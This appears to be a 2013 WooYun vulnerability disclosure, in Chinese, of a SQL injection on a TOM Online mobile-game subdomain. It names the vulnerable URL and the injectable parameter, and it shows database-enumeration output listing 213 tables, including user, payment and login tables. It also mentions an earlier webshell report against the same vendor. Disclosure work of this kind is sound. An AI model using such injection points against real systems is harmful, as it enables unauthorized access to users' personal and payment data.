漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-028329
漏洞标题：tom在线某分站sql注入漏洞
相关厂商：TOM在线
漏洞作者： feng
提交时间：2013-07-09 22:09
修复时间：2013-07-14 22:10
公开时间：2013-07-14 22:10
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：10
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-07-09： 细节已通知厂商并且等待厂商处理中
2013-07-14： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
tom在线某分站sql注入漏洞，大量数据泄露
发这个还有一个目的，就是兄弟，赶紧把我之前的那个tom在线webshell的洞给确认啊
详细说明：
漏洞页面http://pk.tom.com/web/download_page.jsp?from=00403&q_id=99&mobile_game_id=609&class=and q_id=99
影响参数 mobile_game_id
漏洞证明：
available databases [3]:
[*] information_schema
[*] newwapdb
[*] test
Database: newwapdb
[213 tables]
+--------------------------------------+
| back_download_game_info |
| download_count |
| filter_words |
| game_bulletin |
| game_clientinfo |
| game_cogameinfo |
| game_coinfo |
| game_goods |
| game_goods_type |
| game_mission |
| game_netbattle |
| game_netbattle_item |
| game_photo |
| game_single_record |
| game_stat_day |
| game_toolsinfo |
| game_uids |
| game_user |
| game_user_black |
| game_user_chat |
| game_user_friend |
| game_user_level |
| game_user_sign |
| game_user_sns |
| game_user_task |
| game_user_visitor |
| game_useraddressinfo |
| game_usergold |
| game_usergolddetail |
| game_usergoods |
| game_userinfo |
| game_usermdoupmsg |
| game_userpay_offerclient |
| game_userpayrecord |
| game_userprize |
| game_userrandom |
| game_userrandom_bak |
| game_userrandom_new |
| game_userrechargerecord |
| game_v2_netbattle |
| game_v2_netbattle_finalgoldinfo |
| game_v3_bulletin |
| game_v3_friends |
| game_v3_linkmobile |
| game_v3_netbattle |
| game_v3_netbattle_finalgoldinfo |
| game_v3_netbattle_item |
| game_v3_pksparameter |
| game_v3_prizes |
| game_v3_sendsmsinfo |
| game_v3_single_record |
| game_v3_usergold |
| game_v3_usergolddetail |
| game_v3_userinfo |
| game_v3_userprize |
| game_v4_adv_record |
| game_v4_bulletin |
| game_v4_bulletin_wap |
| game_v4_cmddisc_history |
| game_v4_coupon_history |
| game_v4_couponprize_info |
| game_v4_fgrechargeprize_history |
| game_v4_finalgold_rechargeinfo |
| game_v4_friends |
| game_v4_gamedown_config |
| game_v4_gametype_info |
| game_v4_linkmobile |
| game_v4_lucklydraw_history |
| game_v4_manualprize |
| game_v4_manualprize_info |
| game_v4_message |
| game_v4_message_bak20120420 |
| game_v4_message_bak20120501 |
| game_v4_message_bak20120604 |
| game_v4_message_location |
| game_v4_message_location_bak20120420 |
| game_v4_message_location_bak20120501 |
| game_v4_message_location_bak20120604 |
| game_v4_message_location_new |
| game_v4_message_new |
| game_v4_mobileuid_linkinfo |
| game_v4_msgpush_info |
| game_v4_msgpush_type |
| game_v4_netbattle |
| game_v4_netbattle_bak20120420 |
| game_v4_netbattle_finalgoldinfo |
| game_v4_netbattle_finalgoldinfo |
| game_v4_netbattle_item_bak20120420 |
| game_v4_onlinegame_info |
| game_v4_onlinegame_itempayment |
| game_v4_onlinegame_smscode |
| game_v4_payment_platform_detail |
| game_v4_pksparameter |
| game_v4_prizes |
| game_v4_robot_sendsmscount |
| game_v4_robotinfo |
| game_v4_sendsmsinfo |
| game_v4_single_record |
| game_v4_thirdpart_cardinfo |
| game_v4_thirdpart_partnerinfo |
| game_v4_thirdpart_partnerinfo |
| game_v4_topboard |
| game_v4_user_freegold |
| game_v4_user_freegold_monthly |
| game_v4_user_freegolddetail |
| game_v4_user_prizeinfo |
| game_v4_userbattle_summarizinfo |
| game_v4_usercoupon_info |
| game_v4_usergold |
| game_v4_usergolddetail |
| game_v4_userinfo |
| game_v4_userinfo_extend |
| game_v4_userlogin |
| game_v4_userprize |
| game_v4_userprizesend_info |
| game_v4_userscore_monthly |
| game_v4_userscore_total |
| game_v4_userscore_weekly |
| game_v4_usersdkvsn_history |
| game_v4_weeklyprize_info |
| game_web_task |
| guess_exchange |
| guess_guessing |
| guess_guessing_detail |
| guess_material |
| guess_user_account |
| guess_user_activity_201301 |
| guess_user_activity_201302 |
| guess_user_activity_201303 |
| guess_user_activity_201304 |
| guess_user_activity_201305 |
| guess_user_activity_201306 |
| guess_user_activity_201307 |
| guess_user_activity_config |
| guess_user_charge_detail |
| guess_user_consume_detail |
| guess_user_exchange |
| guess_user_exchange_manage |
| guess_user_guessing |
| guess_user_info |
| guess_user_material |
| guess_user_relation |
| in_email_game |
| mobile_info |
| party |
| party_blackword |
| party_blackword |
| party_flashgame |
| party_forum_content |
| party_naming_type |
| party_notice |
| party_sta |
| pkgame_channel |
| pkgame_hit |
| t_advertise_content |
| t_advertise_plan |
| t_advertise_qudao |
| t_advertise_size |
| t_advertise_source |
| t_advertisement |
| t_benefits |
| t_benefits_config |
| t_billcode_area |
| t_billcode_area |
| t_billcode_mdo |
| t_billcode_relation |
| t_billcode_successpay |
| t_condition |
| t_event |
| t_game_info |
| t_game_resources |
| t_game_type |
| t_gameresource_view |
| t_goals |
| t_levelconfig |
| t_lotto_coupon |
| t_lotto_gift |
| t_lotto_period |
| t_lotto_prize |
| t_lotto_result |
| t_lotto_result |
| t_part |
| t_part_qid |
| t_recommend_bannergame |
| t_recommend_game |
| t_tab_icon |
| t_tab_index |
| t_tab_location |
| t_tab_manage |
| t_tab_project |
| t_tab_qudao |
| t_tabindex_qudao |
| t_user_event |
| t_user_event_bak20120420 |
| t_user_goals |
| t_userlevel |
| tbl_tianyu_cdqx |
| tbl_tianyu_jscd |
| tbl_tianyu_menu |
| tbl_tianyu_popedom |
| tbl_tianyu_role |
| tbl_tianyu_spinfo |
| tbl_tianyu_spinfo |
| tom_pay_day_report |
| tom_pay_week_report |
| user_gamble |
| wap_busitbl |
| wap_templatefiletbl |
| web_advertisement |
| web_cp |
| web_game |
| web_notice |
| web_user_friend |
+--------------------------------------+
修复方案：
过滤
版权声明：转载请注明来源 feng@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2013-07-14 22:10
厂商回复：
最新状态：
暂无